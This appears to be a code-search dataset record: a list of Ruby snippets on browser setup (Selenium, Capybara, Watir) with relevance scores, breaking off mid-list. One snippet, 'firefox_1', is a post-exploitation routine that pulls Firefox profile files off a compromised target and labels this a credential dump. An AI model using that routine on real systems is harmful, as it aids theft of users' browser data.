"def capabilities(*caps)\n caps = [caps].flatten\n\n raise \"Discovery plugin capabilities can't be empty\" if caps.empty?\n\n caps.each do |cap|\n if [:classes, :facts, :identity, :agents, :compound].include?(cap)\n @entities[:discovery][:capabilities] << cap\n else\n raise \"%s is not a valid capability, valid capabilities are :classes, :facts, :identity, :agents and :compound\" % cap\n end\n end\n end",
"def get_profile\n profile = Selenium::WebDriver::Firefox::Profile.new\n profile['browser.download.folderList'] = 2\n profile['browser.download.manager.showWhenStarting'] = false\n # don't save any downloads to disk, just erase it\n profile['browser.download.dir'] = '/dev/null'\n # don't do a download popup or it could interfere with future requests\n profile['browser.helperApps.neverAsk.saveToDisk'] = 'application/x-xpinstall;application/x-zip;application/x-zip-compressed;application/octet-stream;application/zip;application/pdf;application/msword;text/plain;application/octet'\n profile['browser.download.manager.showAlertOnComplete'] = false\n profile['browser.download.manager.showWhenStarting'] = false\n profile['browser.download.panel.shown'] = false\n profile['browser.download.useToolkitUI'] = true\n profile.assume_untrusted_certificate_issuer = false\n profile\n end",
"def browser\n @browser\n end",
"def get_desktop_browser_capabilities_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DevicesApi.get_desktop_browser_capabilities_using_get ...'\n end\n # resource path\n local_var_path = '/api/v2/devices/desktop-browser-capabilities'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['apiKeyInHeader', 'oAuth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'APIDesktopBrowserCapabilities')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DevicesApi#get_desktop_browser_capabilities_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def browser_version\n return 0.0 if not request.env['HTTP_USER_AGENT']\n if browser_is('ie')\n return request.env['HTTP_USER_AGENT'].match(/^.*?MSIE ([0-9]+.[0-9]){1}.*?/)[1].to_f\n end\n if browser_is('mozilla')\n return request.env['HTTP_USER_AGENT'].match(/^.*?Firefox\\/([0-9]+.[0-9]){1}.*?/)[1].to_f\n end\n if browser_is('webkit')\n return request.env['HTTP_USER_AGENT'].match(/^.*?Safari\\/([\\d]+\\.[\\d]+[\\.\\d]*)?/)[1].to_f\n end\n end",
"def browser\n Browser.new(user_agent)\n end",
"def chrome_browser(*opts)\n options = Selenium::WebDriver::Chrome::Options.new\n opts.each { |n| options.add_argument(n) }\n driver = Selenium::WebDriver.for :chrome, detach: false, options: options\n Watir::Browser.new(driver)\n end",
"def common_configuration_for_web(args)\n\n # Assign the privly-applications repository path\n content_server = args[:content_server]\n $privly_applications_folder_path = content_server + \"/apps/\"\n\n Capybara.register_driver :web_browser do |app|\n Capybara::Selenium::Driver.new(app, :browser => @browser.to_sym)\n end\n Capybara.default_driver = :web_browser\n Capybara.current_driver = :web_browser\nend",
"def load\n @browser = Selenium::WebDriver.for :firefox\n @browser.get \"https://www.tumblr.com\"\n end",
"def register_selenium_remote_driver(browser)\n Capybara.register_driver \"selenium_remote_#{browser}\".to_sym do |app|\n Capybara::Selenium::Driver.new(app, browser: :remote, url: \"http://#{ENV['SELENIUM_SERVER']}:4444/wd/hub\", desired_capabilities: browser)\n end\n end",
"def browser\r\n @web_browser\r\n end",
"def get_browser_command_line\n {\n method: \"Browser.getBrowserCommandLine\"\n }\n end",
"def firefox_1\n\n# variable declarations\nprofile =''\noutpath = datastore['DOWNLOAD_PATH']\npth =\"\\\"%appdata%\\\"\\\\Mozilla\\\\Firefox\\\\Profiles\"\n # check for proper settings enter by user ...\n if datastore['FIREFOX'] == 'nil' || datastore['DOWNLOAD_PATH'] == 'nil'\n print_error(\"Please set FIREFOX | DOWNLOAD_PATH options...\")\n print_line(\"\")\n return\n else\n print_status(\"Gattering Firefox credentials...\")\n end\n\n # check if file exist on target system\n if session.fs.file.exist?(path + \"\\\\profiles.ini\") # change the name of the file you want to check\n print_good(\" firefox profiles.ini found...\")\n # download file from target system\n client.fs.file.download(\"#{outpath}/profiles.ini\",\"#{pth}\\\\profiles.ini\") # change the name of the file you want to download\n print_good(\" Dumping credentials from target system...\")\n print_warning(\"Credentials dump: #{outpath}/profiles.ini\") # change the name of the file that you have downloaded\n # displays profile's directory names\n profile = client.fs.dir.entries(pth)\n print_status(\"Profile's directory: #{profile[2]}\")\n print_line(\"\")\n else \n print_error(\"Firefox path not found.\")\n return\n end\n rescue ::Exception => e\n print_error(\"Error Running Command: #{e.class} #{e}\")\n print_line(\"\")\nend",
"def navigateTo(browser_instance,url)\n Capybara.default_driver = :selenium\n\n \n Capybara.register_driver :selenium do |app|\n Capybara::Selenium::Driver.new(app, :browser => :chrome)\n end\n# $worldMap = Hash.new\n $session = Capybara::Session.new(:selenium)\n $session.visit 'https://staging-bbva.everfiapps-dev.net/cportal/ccdee586/login'\n end",
"def browser_version\n ENV['BROWSER_VERSION']\n end",
"def customized_firefox_profile\n profile = Selenium::WebDriver::Firefox::Profile.new\n profile['untrusted_issuer'] = ENV['SKIP_CERT_ISSUER'].present?\n # See https://www.toolsqa.com/selenium-webdriver/how-to-download-files-using-selenium/ for\n # some explanation about profile.\n #\n # The download directory destination\n profile['browser.download.dir'] = ENV.fetch('TEST_FILE_DOWNLOAD_PATH', nil)\n customized_firefox_profile_standard_options(profile)\nend",
"def initialize( config, logger )\n @config = config\n @logger = logger\n\n @logger.debug \"Requested browser config: #{@config.get :global, :browser }\"\n\n type=@config.get :global, :browser, :type\n browser=@config.get :global, :browser, :browser\n port=@config.get :global, :browser, :port\n url=@config.get_default false, :global, :browser, :url\n extra_capabilities=@config.get_default false, :global, :browser, :extras\n if ! extra_capabilities\n extra_capabilities = Hash.new\n end\n\n if browser =~ %r{^\\s*ie\\s*$} or browser =~ %r{^\\s*internet\\s*_?\\s*explorer\\s*$}\n browser = 'internet explorer'\n end\n\n @logger.debug \"Launching some browser; #{type}, #{port}, #{browser}\"\n\n if type == 'remote'\n @logger.info \"Launching remote browser #{browser} on port #{port}\"\n capabilities = Selenium::WebDriver::Remote::Capabilities.new(\n :browser_name => browser,\n :javascript_enabled=>true,\n :css_selectors_enabled=>true,\n :takes_screenshot=>true,\n )\n # Load in any other stuff the user asked for\n @logger.debug \"Requested extra capabilities: #{extra_capabilities.inspect}\"\n extra_capabilities.each do |key, value|\n @logger.debug \"Adding capability #{key} with value #{value}\"\n capabilities[key] = value\n end\n\n if url\n @logger.debug \"Launching with custom url #{url}\"\n else\n url = \"http://127.0.0.1:#{port}/wd/hub\"\n end\n\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.timeout = config.get_default( 600, :global, :browser, :timeout )\n\n @browser = Watir::Browser.new(:remote, :url => url, :desired_capabilities => capabilities, :http_client => client)\n else\n @logger.info \"Launching local browser #{browser}\"\n @browser = Watir::Browser.new browser\n end\n end",
"def test_current_browsers_detected\n for browser in CURRENT_BROWSERS\n @request.user_agent = browser\n assert ! @page.legacy_browser?\n end\n end",
"def browser\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"\" ] if browse_everything_controller2_debug_verbose\n rv = BrowserFactory.build(session: session, url_options: url_options)\n ::Deepblue::LoggingHelper.bold_debug [ ::Deepblue::LoggingHelper.here,\n ::Deepblue::LoggingHelper.called_from,\n \"rv = #{rv}\",\n \"\" ] if browse_everything_controller2_debug_verbose\n rv\n end",
"def browser\n @web_browser\n end",
"def selenium_host\n ENV.fetch('SELENIUM_HOST', '192.168.56.102')\nend",
"def browsers(app)\n file = app.root.join('config/autoprefixer.yml')\n config = file.exist? ? YAML.load_file(file) : { 'browsers' => nil }\n config['browsers']\n end",
"def build_browser_support_field(feature)\n supported = []\n feature[\"stats\"].each do |browser|\n name = get_browser_name(browser.first)\n versions = browser.last.select{ |k, v| v.match(\"y\") }.first\n unless versions.nil?\n versions = \"#{versions.first.split(\"-\").first}\"\n supported << \"#{name} #{versions}\"\n end\n end\n {\n :title => \"Browsers with full support (prefixed & unprefixed)\",\n :value => supported.sort_by!{ |browser| browser.downcase }.join(\"\\n\")\n }\nend",
"def initialize_browser\n puts \"\\n>Initializing Firefox browser\"\n @browser = Watir::Browser.new :firefox\n @browser.send_keys :f11\n @homepage = Homepage.new(@browser)\n return @homepage\nend",
"def init_browser\n Capybara.default_driver = ENV['CAPYBARA_BROWSER'].to_sym\n # script driver\n Capybara.javascript_driver = case ENV['CAPYBARA_BROWSER']\n when /poltergeist/\n :poltergeist\n when /headless_chrome/\n :headless_chrome\n when /headless_firefox/\n :headless_firefox\n end\nend",
"def driver\n @driver ||= page.driver.browser\n end",
"def capability imap, res = nil\n return imap.capability unless res\n\n data = res.data\n\n if data.code and data.code.name == 'CAPABILITY' then\n data.code.data.split ' '\n else\n imap.capability\n end\n end",
"def open_browser(base_url, options = {})\n default_options = {:resynchronize => false, :firefox => false } \n options = default_options.merge(options)\n options[:firefox] ||= (ENV['LOADWISE_PREVIEW'] || $LOADWISE_PREVIEW)\n RWebSpec::WebBrowser.new(base_url, nil, options)\n end",
"def capability\n return @capability\n end",
"def web_browser_cookie_settings\n return @web_browser_cookie_settings\n end",
"def common_configuration_for_sauce_web(args)\n\n # Assign the applications path\n content_server = args[:content_server]\n $privly_applications_folder_path = content_server + \"/apps/\"\n\n Capybara.register_driver :sauce_web do |app|\n Capybara::Selenium::Driver.new(\n app,\n :browser => :remote,\n :url => @sauce_url,\n :desired_capabilities => @sauce_caps\n )\n end\n Capybara.default_driver = :sauce_web\n Capybara.current_driver = :sauce_web\nend",
"def ports_with_capabilities(*capabilities)\n ncapabilities = capabilities.size\n @ports.values.select { |port| (port.capabilities & capabilities).size == ncapabilities }\n end"
] |
[
"0.7060469",
"0.70300734",
"0.7022445",
"0.69639164",
"0.6904549",
"0.66492707",
"0.65623003",
"0.6546828",
"0.65064734",
"0.64981073",
"0.63461965",
"0.63461965",
"0.63127154",
"0.63042223",
"0.6295552",
"0.6295552",
"0.6295552",
"0.62866884",
"0.61872965",
"0.6133089",
"0.6109569",
"0.6087343",
"0.5898842",
"0.5851217",
"0.58495855",
"0.5823175",
"0.5773528",
"0.5757043",
"0.5743385",
"0.574126",
"0.57394964",
"0.569732",
"0.56640035",
"0.56574327",
"0.56478274",
"0.5629491",
"0.5603341",
"0.55951",
"0.557949",
"0.5579243",
"0.55768883",
"0.5560078",
"0.5554105",
"0.5551319",
"0.55331784",
"0.5492582",
"0.54712665",
"0.5445976",
"0.5428265",
"0.54232234",
"0.53944504",
"0.5394405",
"0.53928286",
"0.5377045",
"0.536255",
"0.5355878",
"0.535264",
"0.53147584",
"0.52987623",
"0.5297742",
"0.52712333",
"0.5268924",
"0.5252948",
"0.5252321",
"0.52510893",
"0.52491856",
"0.52304304",
"0.5223978",
"0.52052516",
"0.5203729",
"0.52018106",
"0.51861745",
"0.51840734",
"0.51827973",
"0.5146541",
"0.5144199",
"0.51351106",
"0.5133524",
"0.5087301",
"0.5071504",
"0.506951",
"0.50690174",
"0.50638056",
"0.5062579",
"0.50593865",
"0.5058622",
"0.504925",
"0.50478107",
"0.50477153",
"0.50458187",
"0.50438154",
"0.5016733",
"0.5005569",
"0.50031275",
"0.4996508",
"0.4994919",
"0.49797714",
"0.4978899",
"0.49738026",
"0.49703553"
] |
0.865628
|
0
|
Registers :firefox webdriver options in Capybara framework
|
def register_firefox_driver
Capybara.register_driver :firefox do |app|
if ENV['SELENIUM_GRID'] == 'false'
options = Selenium::WebDriver::Firefox::Options.new
Capybara::Selenium::Driver.new(app, browser: :firefox,
options: options,
desired_capabilities: firefox_capabilities)
else
Capybara::Selenium::Driver.new(app, browser: :remote,
url: hub_url,
desired_capabilities: firefox_capabilities)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def firefox_options\n options = Selenium::WebDriver::Firefox::Options.new\n options.add_preference('intl.accept_languages', locale)\n options.add_argument('--headless') if headless\n options\n end",
"def firefox\n options = Selenium::WebDriver::Firefox::Options.new(profile: firefox_profile)\n options.headless! if config.headless\n\n options\n end",
"def firefox_capabilities\n Selenium::WebDriver::Remote::Capabilities.firefox(\n logging_prefs: {browser: 'ALL'},\n 'acceptSslCerts' => true,\n 'acceptInsecureCerts' => true,\n 'native_events' => true\n )\n end",
"def configure_browser()\r\n if test_config.browser == \"ie\"\r\n Capybara.register_driver :selenium do |app|\r\n Capybara::Selenium::Driver.new(app, :browser=>:internet_explorer)\r\n end\r\n else\r\n Capybara.register_driver :selenium do |app|\r\n if !(test_config.browserPath.nil? || test_config.browserPath.empty?)\r\n require 'selenium/webdriver'\r\n Selenium::WebDriver::Firefox::Binary.path = test_config.browserPath\r\n end\r\n Capybara::Selenium::Driver.new(app, :browser => :firefox)\r\n end\r\n end\r\n end",
"def setup\n if ENV['BROWSER'] == 'firefox'\n $driver = Selenium::WebDriver.for :firefox\n elsif ENV['BROWSER'] == 'chrome'\n $driver = Selenium::WebDriver.for :chrome\n else\n puts 'The only valid browser options are [firefox | chrome]'\n end\nend",
"def setup\n caps = Selenium::WebDriver::Remote::Capabilities.new\n\tcaps['browser'] = 'Firefox'\n @driver = Selenium::WebDriver.for :remote, url: \"http://localhost:8001\", :desired_capabilities => caps\n# @driver = Selenium::WebDriver.for :firefox\n\t@driver.manage.timeouts.implicit_wait = 10\nend",
"def common_configuration_for_firefox_extension\n # Assign the path to find the applications in the extension\n Capybara.app_host = \"chrome://privly\"\n $privly_applications_folder_path = Capybara.app_host + \"/content/privly-applications/\"\n puts \"Packaging the Firefox Extension\"\n system(\"cd ../../../../../ && pwd && jpm xpi && cd chrome/content/privly-applications/test/selenium\")\n # Find out the xpi file name\n json = JSON.load(File.new(\"../../../../../package.json\"))\n xpi_filename = \"privly@priv.ly-\" + json['version'] + \".xpi\"\n # Load the Firefox driver with the extension installed\n @profile = Selenium::WebDriver::Firefox::Profile.new\n @profile[\"extensions.privly.integration_test\"] = \"true\"\n @profile.add_extension(\"../../../../../\" + xpi_filename)\nend",
"def init_browser\n Capybara.default_driver = ENV['CAPYBARA_BROWSER'].to_sym\n # script driver\n Capybara.javascript_driver = case ENV['CAPYBARA_BROWSER']\n when /poltergeist/\n :poltergeist\n when /headless_chrome/\n :headless_chrome\n when /headless_firefox/\n :headless_firefox\n end\nend",
"def common_configuration_for_web(args)\n\n # Assign the privly-applications repository path\n content_server = args[:content_server]\n $privly_applications_folder_path = content_server + \"/apps/\"\n\n Capybara.register_driver :web_browser do |app|\n Capybara::Selenium::Driver.new(app, :browser => @browser.to_sym)\n end\n Capybara.default_driver = :web_browser\n Capybara.current_driver = :web_browser\nend",
"def setup_browser(url)\n browser = Watir::Browser.new :firefox, headless: true\n browser.goto url\n return browser\nend",
"def setup\n @browser = Selenium::WebDriver.for :firefox\n @wait = Selenium::WebDriver::Wait.new(:timeout => 15)\n @browser.get 'http://demo.redmine.org'\n end",
"def firefox\n @web_browser.firefox\n end",
"def init_with_options browser, opts\n browser.init\n end",
"def common_configuration_for_sauce_web(args)\n\n # Assign the applications path\n content_server = args[:content_server]\n $privly_applications_folder_path = content_server + \"/apps/\"\n\n Capybara.register_driver :sauce_web do |app|\n Capybara::Selenium::Driver.new(\n app,\n :browser => :remote,\n :url => @sauce_url,\n :desired_capabilities => @sauce_caps\n )\n end\n Capybara.default_driver = :sauce_web\n Capybara.current_driver = :sauce_web\nend",
"def firefox\r\n @web_browser.firefox\r\n end",
"def initialize_capybara(debug = false, driver = :webkit)\n Capybara::Webkit.configure do |config|\n config.debug = debug\n config.allow_unknown_urls\n config.ignore_ssl_errors\n #adds proxy\n=begin\n config.use_proxy(\n host: '180.250.32.66',\n port: 80,\n user: nil,\n pass: nil\n )\n=end\n # TODO test this solution\n # config.skip_image_loading\n end\n\n Capybara.default_max_wait_time = 15 # 15..30s\n Capybara.default_driver = driver\n\n # for local test\n # Capybara.default_driver = :selenium\n @browser = Capybara.current_session\n end",
"def setup_capybara\n Capybara.run_server = false\n Capybara.current_driver = :webkit\n Capybara.app_host = 'http://todofp.es'\n end",
"def set_browser(app = :chrome, *args)\n @browser = Watir::Browser.new(app, *args)\n Testable.browser = @browser\n end",
"def initialize_browser\n client = Selenium::WebDriver::Remote::Http::Default.new\n case ENV['browser']\n when 'firefox'\n puts \"\\n>Initializing Firefox browser\"\n full_path = File.dirname(File.dirname(__FILE__)) + '/config/geckodriver0.13'\n @browser = Selenium::WebDriver.for :firefox, http_client: client, driver_path: full_path\n when 'chrome'\n puts \"\\n>Initializing Chrome browser\"\n full_path = File.dirname(File.dirname(__FILE__)) + '/config/chromedriver2.27'\n @browser = Selenium::WebDriver.for :chrome, http_client: client, driver_path: full_path\n when 'safari'\n puts \"\\n>Initializing Safari browser\"\n @browser = Selenium::WebDriver.for :safari, http_client: client\n else\n @browser = Selenium::WebDriver.for :firefox, http_client: client\n end\n\n @browser.manage.timeouts.page_load = 10\n return @browser\nend",
"def setup\n # Capybara.current_driver = Capybara.javascript_driver # :selenium by default\n # Capybara.current_driver = :webkit\n Capybara.current_driver = :poltergeist\n end",
"def firefox\r\n is_firefox? ? @browser : nil;\r\n end",
"def customized_firefox_profile_standard_options(profile)\n # folderList set to 2 means to use the custom download directory\n profile['browser.download.folderList'] = 2\n profile['browser.helperApps.alwaysAsk.force'] = profile['browser.download.manager.showWhenStarting'] = false\n # @see https://www.sitepoint.com/mime-types-complete-list/ to see a list of MIME types - which is used to identify\n # the type of data/file.\n profile['browser.helperApps.neverAsk.saveToDisk'] =\n ['application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/zip',\n 'application/pdf', 'application/octet-stream', 'application/msword', 'image/png'].join(',')\n profile['pdfjs.disabled'] = profile['native_events'] = profile['browser.download.useDownloadDir'] = true\n profile\nend",
"def setup_capybara\n Capybara.run_server = false\n Capybara.current_driver = :selenium\n Capybara.app_host = 'https://www.gp.endesaonline.com'\n end",
"def setupCapybara\n\t\tCapybara.default_driver = :selenium\n\t\tCapybara.run_server = false\n\t\tCapybara.app_host = \"http://localhost:3000\"\n\tend",
"def navigateTo(browser_instance,url)\n Capybara.default_driver = :selenium\n\n \n Capybara.register_driver :selenium do |app|\n Capybara::Selenium::Driver.new(app, :browser => :chrome)\n end\n# $worldMap = Hash.new\n $session = Capybara::Session.new(:selenium)\n $session.visit 'https://staging-bbva.everfiapps-dev.net/cportal/ccdee586/login'\n end",
"def initialize( config, logger )\n @config = config\n @logger = logger\n\n @logger.debug \"Requested browser config: #{@config.get :global, :browser }\"\n\n type=@config.get :global, :browser, :type\n browser=@config.get :global, :browser, :browser\n port=@config.get :global, :browser, :port\n url=@config.get_default false, :global, :browser, :url\n extra_capabilities=@config.get_default false, :global, :browser, :extras\n if ! extra_capabilities\n extra_capabilities = Hash.new\n end\n\n if browser =~ %r{^\\s*ie\\s*$} or browser =~ %r{^\\s*internet\\s*_?\\s*explorer\\s*$}\n browser = 'internet explorer'\n end\n\n @logger.debug \"Launching some browser; #{type}, #{port}, #{browser}\"\n\n if type == 'remote'\n @logger.info \"Launching remote browser #{browser} on port #{port}\"\n capabilities = Selenium::WebDriver::Remote::Capabilities.new(\n :browser_name => browser,\n :javascript_enabled=>true,\n :css_selectors_enabled=>true,\n :takes_screenshot=>true,\n )\n # Load in any other stuff the user asked for\n @logger.debug \"Requested extra capabilities: #{extra_capabilities.inspect}\"\n extra_capabilities.each do |key, value|\n @logger.debug \"Adding capability #{key} with value #{value}\"\n capabilities[key] = value\n end\n\n if url\n @logger.debug \"Launching with custom url #{url}\"\n else\n url = \"http://127.0.0.1:#{port}/wd/hub\"\n end\n\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.timeout = config.get_default( 600, :global, :browser, :timeout )\n\n @browser = Watir::Browser.new(:remote, :url => url, :desired_capabilities => capabilities, :http_client => client)\n else\n @logger.info \"Launching local browser #{browser}\"\n @browser = Watir::Browser.new browser\n end\n end",
"def register_selenium_remote_driver(browser)\n Capybara.register_driver \"selenium_remote_#{browser}\".to_sym do |app|\n Capybara::Selenium::Driver.new(app, browser: :remote, url: \"http://#{ENV['SELENIUM_SERVER']}:4444/wd/hub\", desired_capabilities: browser)\n end\n end",
"def initialize()\n @sel = Capybara::Session.new(:selenium)\n end",
"def open_browser(base_url, options = {})\n default_options = {:resynchronize => false, :firefox => false } \n options = default_options.merge(options)\n options[:firefox] ||= (ENV['LOADWISE_PREVIEW'] || $LOADWISE_PREVIEW)\n RWebSpec::WebBrowser.new(base_url, nil, options)\n end",
"def customized_firefox_profile\n profile = Selenium::WebDriver::Firefox::Profile.new\n profile['untrusted_issuer'] = ENV['SKIP_CERT_ISSUER'].present?\n # See https://www.toolsqa.com/selenium-webdriver/how-to-download-files-using-selenium/ for\n # some explanation about profile.\n #\n # The download directory destination\n profile['browser.download.dir'] = ENV.fetch('TEST_FILE_DOWNLOAD_PATH', nil)\n customized_firefox_profile_standard_options(profile)\nend",
"def load\n @browser = Selenium::WebDriver.for :firefox\n @browser.get \"https://www.tumblr.com\"\n end",
"def abrirNavegador()\n\tbrowser = Watir::Browser.new :firefox\n\n\tbrowser\nend",
"def initialize(opts = {})\n opts[:timeout] = 120 unless opts[:timeout]\n @wait = Selenium::WebDriver::Wait.new(:timeout=>opts[:timeout])\n TelluriumDriver.wait_for_document_ready=true;\n\n opts[:caps] ||= {}\n opts[:caps][:browserName] ||= opts[:browser]\n opts[:caps][:version] ||= opts[:version]\n\n is_local = !opts[:hub_ip] and !opts[:hub_url]\n \n if is_local\n @driver = Selenium::WebDriver.for(opts[:browser].to_sym,:desired_capabilities=>opts[:caps])\n else\n @driver = Selenium::WebDriver.for(:remote,:desired_capabilities=>opts[:caps],:url=> \"http://#{opts[:hub_ip]}:4444/wd/hub\")\n end\n end",
"def env_browser_name\n (ENV['BROWSER'] ||= 'firefox')\nend",
"def initialize(browser = :chrome)\n @driver = Selenium::WebDriver.for browser\n end",
"def selenium_env?\n true\nend",
"def start_browser(browser_type)\n caps = Selenium::WebDriver::Remote::Capabilities.firefox\n caps.version = \"5\"\n caps.platform = :LINUX\n caps[:name] = \"Testing Selenium 2 with Ruby on SauceLabs Environment\"\n\n @driver = Selenium::WebDriver.for(\n :remote,\n :url => \"http://valid_sauce_url_with_key@ondemand.saucelabs.com:80/wd/hub\",\n :desired_capabilities => caps)\n end",
"def firefox?\n if @type.downcase == \"firefox\"\n return true\n else\n return false\n end\n end",
"def setup\n setup_with_selenium\n\tend",
"def setup_local(driver)\n if driver == 'chrome'\n @browser = Watir::Browser.new :chrome\n elsif driver == 'firefox'\n @browser = Watir::Browser.new :firefox, marionette: true\n end\nend",
"def open_firefox_using_profile\n\n # setup_watir_webdriver\n require 'watir-webdriver'\n download_directory = \"C:\\\\Users\\\\Yatin\\\\Downloads\"\n profile = Selenium::WebDriver::Firefox::Profile.new\n\n profile['credentials_enable_service'] = false\n ### file will be downloaded to custom directory\n profile['browser.download.folderList'] = 2\n profile['browser.download.dir'] = download_directory\n ### By Default file will be downloaded to Download directory\n # profile['browser.download.folderList'] = 1 # 0 = save to user's desktop, 1 = save to Downloads, 2 = save to custom location\n # profile[\"browser.download.useDownloadDir\"] = true\n profile['browser.download.manager.showWhenStarting'] = false\n profile['browser.helperApps.neverAsk.saveToDisk'] = \"text/csv, text/plain, application/vnd.ms-excel, text/comma-separated-values, application/pdf, application/zip\"\n # driver = Selenium::WebDriver.for :firefox, :profile => profile\n # @browser = Watir::Browser.new(driver)\n @browser = Watir::Browser.new :firefox, :profile => profile\n\nend",
"def initialize(browser = :chrome, *args)\n @capabilities = browser.is_a?(Capabilities) ? browser : Capabilities.new(browser, *args)\n @driver = browser.is_a?(Selenium::WebDriver::Driver) ? browser : Selenium::WebDriver.for(*@capabilities.to_args)\n\n @after_hooks = AfterHooks.new(self)\n @closed = false\n @default_context = true\n end",
"def wait_a_sec_for_selenium\n sleep 1 if Capybara.current_driver == :selenium_firefox\n end",
"def selenium_host\n ENV.fetch('SELENIUM_HOST', '192.168.56.102')\nend",
"def initialize(options = {})\n self.browser = options.fetch(:browser, :chrome)\n self.install_dir = options.fetch(:install_dir, './webdrivers/')\n self.locale = options.fetch(:locale, :en)\n self.headless = options.fetch(:headless, false)\n self.window_size = options.fetch(:window_size, '1280,720')\n self.screen_dir = options.fetch(:screen_dir, './screens/')\n self.log_prefix = options.fetch(:log_prefix, ' - ')\n self.verbose = options.fetch(:verbose, false)\n self.silent = options.fetch(:silent, false)\n self.auth_username = options.fetch(:auth_username, '')\n self.auth_password = options.fetch(:auth_password, '')\n self.main_label = caller_locations(2, 1).first.label\n\n initialize_driver\n\n self.timeout = options.fetch(:timeout, 30)\n end",
"def scrapping_options\n opts = {\n headless: true\n }\n\n if Rails.env.production?\n if (chrome_bin = ENV.fetch('GOOGLE_CHROME_SHIM', nil))\n opts[:options] = { binary: chrome_bin }\n end\n else\n chrome_bin = '/usr/bin/google-chrome'\n opts[:options] = { binary: chrome_bin }\n end\n opts\nend",
"def setup \n @playground = PlayGround.new\n @playground.create_browser('firefox')\n @playground.set_implicit_wait(30)\n end",
"def initialize(options)\n\t\t\t@options = options\n\t\t\t@driver_name = (options[:driver] || :firefox).to_sym\n\t\t\t@variables = {\n\t\t\t\t'__TIMEOUT__' => (options[:timeout] || 10).to_i,\n\t\t\t\t'__DEBUG__' => false,\n\t\t\t\t'__SELECTOR__' => options[:selector] || 'sid',\n\t\t\t\t'__OUTPUT__' => options[:output],\n\t\t\t\t'__DIR__' => File.absolute_path(Dir.pwd)\n\t\t\t}\n\t\t\t@aliases = {}\n\t\t\t@tests = []\n\n\t\t\tclient = Selenium::WebDriver::Remote::Http::Default.new\n\t\t\tclient.timeout = (@options[:open_timeout] || 60).to_i\n\t\t\t@options[:driver_opt] = {} unless @options[:driver_opt]\n\t\t\t@options[:driver_opt][:http_client] = client\n\n\t\t\t_load_extensions(options[:extensions] || [])\n\n\t\t\t@logger = Context::load_logger(options[:logger], options[:logger_opt])\n\n\t\t\t@parser = Parser.new(self)\n\t\tend",
"def initialize(selenium_webdriver: (::Selenium::WebDriver.for DEFAULT_BROWSER, options: default_options))\n require \"selenium-webdriver\"\n @driver = selenium_webdriver\n end",
"def setup_desktop_grid(capability)\n\tCapybara.register_driver :selenium do |app|\n\t\tCapybara::Selenium::Driver.new(app,\n\t\t\t:browser => :remote,\n\t\t\t:url => SELENIUM_GRID,\n\t\t\t:desired_capabilities => capability)\n\tend\n\t\tCapybara.default_driver = :selenium\nend",
"def initialize(default_browser)\n super()\n self.browser = default_browser\n end",
"def initialize(visitor_dir, browser_details)\n super(browser_details)\n\n if browser_details[:sandbox] == true and browser_details[:multi_instance_proxy_compatible] == true\n @driver = Browsers::Driver.new(\"#{browser_details[:name]}_#{browser_details[:version]}_#{@listening_port_proxy}\",\n @listening_port_proxy)\n else\n @driver = Browsers::Driver.new(\"#{browser_details[:name]}_#{browser_details[:version]}\",\n @listening_port_proxy)\n end\n customize_properties(visitor_dir)\n end",
"def setup\n @verification_errors = []\n if $selenium\n @selenium = $selenium\n else\n @selenium = Selenium::Client::Driver.new \"localhost\", 4444, \"*firefox\", $domain, 10000\n @selenium.start_new_browser_session\n end\n @selenium.set_context(\"selenium_helper\")\n end",
"def initialize(options = {})\r\n\t\t\tif(options.kind_of?(Integer))\r\n options = {:waitTime => options}\r\n end\r\n\r\n if(options[:profile])\r\n profile_opt = \"-P #{options[:profile]}\"\r\n else\r\n profile_opt = \"\"\r\n end\r\n\r\n puts \"PROFILE: #{profile_opt}\"\r\n\r\n waitTime = options[:waitTime] || 2\r\n\r\n if(RUBY_PLATFORM =~ /.*mswin.*/)\r\n #puts \"plaftorm is windows\"\r\n # Get the path to Firefox.exe using Registry.\r\n require 'win32/registry.rb'\r\n path_to_exe = \"\"\r\n Win32::Registry::HKEY_LOCAL_MACHINE.open('SOFTWARE\\Mozilla\\Mozilla Firefox') do |reg|\r\n keys = reg.keys\r\n reg1 = Win32::Registry::HKEY_LOCAL_MACHINE.open(\"SOFTWARE\\\\Mozilla\\\\Mozilla Firefox\\\\#{keys[0]}\\\\Main\")\r\n reg1.each do |subkey, type, data|\r\n if(subkey =~ /pathtoexe/i)\r\n path_to_exe = data\r\n end\r\n end\r\n end\r\n\r\n puts \"Starting Firefox using the executable : #{path_to_exe}\"\r\n puts \"Waiting for #{waitTime} seconds for Firefox to get started.\"\r\n @t = Thread.new { system(\"\\\"#{path_to_exe}\\\" -jssh #{profile_opt}\") }\r\n elsif(RUBY_PLATFORM =~ /linux/i)\r\n puts RUBY_PLATFORM\r\n path_to_bin = `which firefox`.strip\r\n puts \"#{path_to_bin} -jssh #{profile_opt}\"\r\n @t = Thread.new { `#{path_to_bin} -jssh #{profile_opt}` }\r\n end \r\n \r\n sleep waitTime\r\n \r\n set_defaults()\r\n get_window_number()\r\n set_browser_document()\r\n end",
"def attach_browser(how, what, options = {})\r\n options.merge!(:browser => is_firefox? ? \"Firefox\" : \"IE\") unless options[:browser]\r\n begin\r\n options.merge!(:base_url => browser.context.base_url)\r\n rescue => e\r\n puts \"failed to set base_url, ignore : #{e}\"\r\n end\r\n WebBrowser.attach_browser(how, what, options)\r\n end",
"def initialize_browser\n puts \"\\n>Initializing Firefox browser\"\n @browser = Watir::Browser.new :firefox\n @browser.send_keys :f11\n @homepage = Homepage.new(@browser)\n return @homepage\nend",
